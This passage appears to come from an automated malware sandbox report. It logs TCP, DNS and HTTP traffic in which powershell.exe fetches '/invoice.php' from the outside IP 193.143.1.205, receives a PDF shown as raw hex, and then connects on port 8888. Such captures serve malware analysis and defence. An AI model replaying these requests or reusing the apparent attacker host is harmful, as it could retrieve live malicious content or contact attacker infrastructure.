Jan 10, 2025 23:21:38.354362011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.354382038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.354418993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.354438066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.354455948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.354490995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.354523897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.354523897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.354525089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383546114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383611917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383649111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383667946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383706093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.383723974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383745909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383779049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383795023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.383795023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.383799076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383820057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383843899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.383857965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383877993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383908033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.383958101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.383976936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.384015083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.384030104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.384042025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.384042025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.384083986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.386349916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.386370897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.386411905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.386430979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.386476994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.386497021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.395330906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.400304079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.400316000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.400324106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.400422096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404201984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404237986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404244900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404273033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404318094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404326916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404350996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404378891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404405117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404412985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404426098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404432058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404438019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404448032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404489040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404489994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404562950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404571056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404607058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404613972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404620886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404627085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404649019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404649019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404679060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404778957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404787064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404798985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404807091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404819012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404825926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404833078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404860020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404860020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404896021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404902935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404958010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404958010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.404958010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404967070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404979944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404987097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.404995918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405040026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405040026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405188084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405194998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405206919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405215025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405229092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405237913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405262947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405262947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405282021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405283928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405402899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405410051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405417919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405425072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405436993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405443907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405452967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405464888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405481100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405481100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405527115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405632019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405639887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405651093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405657053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405666113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405715942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405715942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.405757904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405766010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405781031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405947924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405961990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405975103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405982018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.405994892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406001091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406008005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406008005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406018972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406027079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406038046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406039000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406075001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406214952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406223059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406234980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406241894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406250000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406265020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406266928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406266928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406272888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406317949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406317949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.406416893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406423092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406435966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406441927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.406475067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.424134970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424161911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424169064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424249887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424258947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424258947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.424266100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424303055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.424376011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424381018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424422026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424463034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424468994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424468994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.424468994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.424526930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424602032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424612999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424619913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.424650908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.424650908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.444997072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.445031881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.445058107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.445132017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.445158958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.445173025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.445185900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.445204020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.445240021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.445240021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474169970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474212885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474253893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474275112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474288940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474294901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474318981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474337101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474354982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474359989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474359989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474498034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474502087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474514961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474550009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474571943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474623919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474623919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474659920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474678040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474711895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474730015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.474771023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.474771023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.477421999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477443933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477485895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477492094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.477509022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477529049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477569103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.477569103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.477595091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477613926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477650881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477680922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.477730036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.477786064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.494842052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.494904995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.494926929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.494946003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.494970083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.494973898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495024920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495069027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495089054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495110035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495150089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495201111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495280981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495300055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495337009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495357037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495369911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495377064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495398045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495418072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495434046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495450020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495461941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495484114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495501995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495538950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.495554924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.495554924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.538746119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.712389946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.722222090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:39.013710022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:39.514070034 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:39.518858910 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:39.518929005 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:39.519117117 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:39.523890972 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:40.328433037 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:40.382498980 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:40.659754992 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:21:46.812671900 CET	56101	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:21:46.812671900 CET	192.168.2.8	1.1.1.1	0x52e6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:21:46.821225882 CET	1.1.1.1	192.168.2.8	0x52e6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:21:47.582329035 CET	1.1.1.1	192.168.2.8	0x31e7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:47.582329035 CET	1.1.1.1	192.168.2.8	0x31e7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	4260	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:36.864213943 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:21:37.695426941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:21:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:21:37.695466995 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:21:37.695509911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 23:21:37.695528030 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 23:21:37.695561886 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
